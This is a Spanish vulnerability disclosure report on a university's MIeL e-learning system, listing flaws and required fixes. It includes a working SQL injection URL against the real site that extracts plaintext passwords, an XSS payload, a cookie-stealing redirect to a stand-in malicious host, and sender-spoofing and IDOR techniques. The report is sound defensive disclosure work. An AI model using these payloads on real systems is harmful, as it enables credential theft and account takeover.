Reporte de vulnerabilidades Materias Interactivas en Línea Nicolás Satragno Abstract El presente es un reporte de las vulnerabilidades encontradas en el sistema Materias Interactivas en Línea (MIeL) de la Universidad Nacional de la Matanza. Comprende un amplio rango de problemas, los más importantes siendo inyecciones SQL, inyecciones XSS, no validación de datos del usuario, y manejo pobre de errores. Se asume que el lector está familiarizado con los siguientes conceptos: Bases de datos, SQL, inyecciones SQL. Manejo del DOM, cookies, Cross-Site Scripting (XSS). SSL. El documento se escribe en buena fe, con la idea de que se use con el propósito de la solución de las vulnerabilidades descritas. El autor no es responsable del uso para fines no éticos que el lector pueda darle. Perfil del atacante En todas las pruebas realizadas, el atacante tiene acceso a un usuario y contraseña dentro del sistema. Estos son fáciles de conseguir legalmente - basta con anotarse en una materia a distancia o conocer los usuarios disponibles públicamente (euclides, elementos, etc). En todo momento se asumirá que el usuario ha iniciado sesión. Visión de errores directa Cabe destacar que estos ataques son muy facilitados porque la aplicación muestra los mensajes de error directamente en la pantalla. Considere el ejemplo: http://miel.unlam.edu.ar/interno/mensajes/mensajeria.asp?idcomision=&idpersona=38527273 Acción requerida: redirección a una página genérica de error 500. Si se desea, almacenar los detalles del error internamente y proveer al usuario un ID de error para que pueda reportarlo. Inyección SQL en envío de mensajes La página de mensajería http://miel.unlam.edu.ar/interno/mensajes/mensajeria.asp?idcomision=161&idpersona=38527273
es vulnerable a ataques SQL, como se observa en el ejmplo anterior, a partir de la no sanitización de los campos ingresados por el usuario. Dado que la DB es Access, que soporta subconsultas, es posible realizar cualquier consulta arbirtraria. Veamos un ejemplo, en el que se obtienen 10 claves que no sean iguales al nombre del usuario: http://miel.unlam.edu.ar/interno/mensajes/mensajeria.asp? idcomision=1+union+select+top+10+1,2,3,id+%26+0x3a+%26+password,5,6,7,8,9,10,11,12,13,14%20from %20usuario%20where%20id%3C%3Epassword%16&idpersona=39171557 Como se puede apreciar, se han obtenido diez usuarios y claves arbitrarios del sistema. Es posible, mediante otra cláusula where, limitar el ataque a un usuario en particular. Por ejemplo, a un tutor. No se han encriptado las claves en la DB, por lo que ni siquera es necesario tomarse la molestia de desencriptarlas. Por este descuido, tener una clave fuerte no tiene ningún valor. Finalmente, el alcance del ataque no está limitado a la obtención de datos, también pueden editarse mediante consultas update, eliminarse, o insertarse abritrariamente. Más adelante se discute un caso de edición masiva con importantes consecuencias, al margen de los casos obvios de eliminación de todos los datos existentes en el aplicativo. Acción requerida: auditar inmediatamente todas las consultas SQL que realiza el aplicativo y sanitizarlas. Si es requerido, cambiar a un proveedor de DB más seguro. Encriptar todas las claves con algún formato no reversible. Inyecciones XSS en el envío de mensajes Al enviar un mensaje, se presenta una caja de texto. En Firefox, contiene un editor que escapa bien el HTML pero en Chrome, este editor no aparece. Aún así, un usuario malintencionado puede realizar un envío POST con el parámetro mensaje, de forma tal de saltar su protección. Enviar: <script> alert(":d"); </script> Provoca, al abrir el mensaje
Si no comprende por qué esto es importante, refiérase al artículo de la wikipedia al respecto: http://es.wikipedia.org/wiki/cross-site_scripting A grandes rasgos, un usuario podría robar la cookie de autenticación del usuario, enviar correo en su lugar, cambiar el formato de la página, robar datos personales, y una infinita cantidad de otros ataques limitados por la creatividad del que los realiza. Para no romper irremediablemente el sistema, no se ha intentado usar el campo nombre de usuario en las pruebas. Si este es vulnerable, el efecto de una inyección XSS puede ser aún más amplio. Considere por un momento que se utilice la inyección SQL mostrada anteriormente para cambiar el nombre de todos los usuarios a: <script> window.location = "http://sitio-maligno.com/infectar_usuario_unlam?idcookie=${cookie}"; </script> Todos los usuarios serían redirigidos al sitio del atancante al entrar al sistema, posiblemente también robando la cookie. Acción requerida: codificación HTML de todos los campos ingresados por el usuario o expuestos en parámetros POST o GET. No validación de datos del usuario al enviar/ver correos Dado que el usuario remitente del correo no es validado, basta con modificar los campos ocultos en el HTML, idcomision, idpersona y/o destinatario para enviar correos como cualquier usuario a cualquier otro usuario. Veamos un ejemplo en el que el ID del usuario del alumno es remplazado por el de la tutora, inviertiendo el remitente / receptor del mensaje. Al hacer click en enviar, hemos engañado al sistema haciéndonos pasar por el usuario jkalejman. Acción requerida: validación lógica de todos los datos ingresados por el usuario. En este caso particular, guardar el ID de usuario que realiza la acción en un hidden es inaceptable.
Al ver un correo, no se verifica la autoría del mismo, por ende introducir en la URL un ID cualquiera permite su visualización. Nótese el idmensaje en el ejemplo:
Acción requerida: asegurarse de la autenticación correcta del usuario en todo el contenido disponible. Envío de contraseñas por texto plano Al enviar las contraseñas por texto plano en lugar de SSL, estas son visibles para cualquiera escuchando en la red. Teniendo Wi-Fi público la universidad, se convierte en una vulnerabilidad digna de mención y que también sufre el sistema de Intraconsulta. En la imagen se ve lo fácil que es obtener estos datos con una utilidad open source como WireShark. Acción requerida: obtención e instalación de certificados SSL en todas las conexiones sensibles en cuanto a la seguridad. Registración Si todos estos problemas se resolvieran, la aplicación seguiría siendo vulnerable: al darle a los usuarios una contraseña que coincide con su nombre de usuario y DNI; y al ser estos datos de público conocimiento (por ejemplo al publicar el listado de mejores promedios con su DNI al momento de la inscripción), es muy fácil prever que el alumno no cambiará su clave y quedará expuesto a un ataque. Acción requerida: implementar una de las varias opciones de creación de contraseña al registarse en el sistema. Para el volumen de datos, una contraseña aleatoria que le llegue por correo al alumno sería ideal.
Conclusiones Las numerosas vulnerabilidades descubiertas en un tan corto período sugieren que, muy probablemente, existan muchas más de las que se han descrito. Un análisis a fondo implicará la inversión de recursos, que no deben limitarse a MIeL. De haber sido la aplicación software libre, también llamado código abierto, hoy estaría implementando la solución en lugar de escribiendo el reporte. Aún se está a tiempo para abrir el código a la inspección de la comunidad de software - de la que la Universidad de la Matanza no carece. No debe descartarse la posibilidad de hacer la aplicación de nuevo, arrancando con el código abierto desde cero. Contratar a una PyME local de desarrollo para esta tarea sería una solución ideal: su presupuesto sería ínfimo comparado con el de una gran empresa, beneficiaría a nuestro país y no los intereses extranjeros, a la vez que el código puede ser auitado tanto por el personal universitario como por alumnos interesados. Sin importar las medidas tomadas, este reporte será hecho público el día ventinueve de septiembre, previo quitar la información sensible de las imágenes incluídas para salvaguardar los datos de los usuarios. El propósito de dicha revelación es, naturalmente, la protección de los usuarios antes que nada.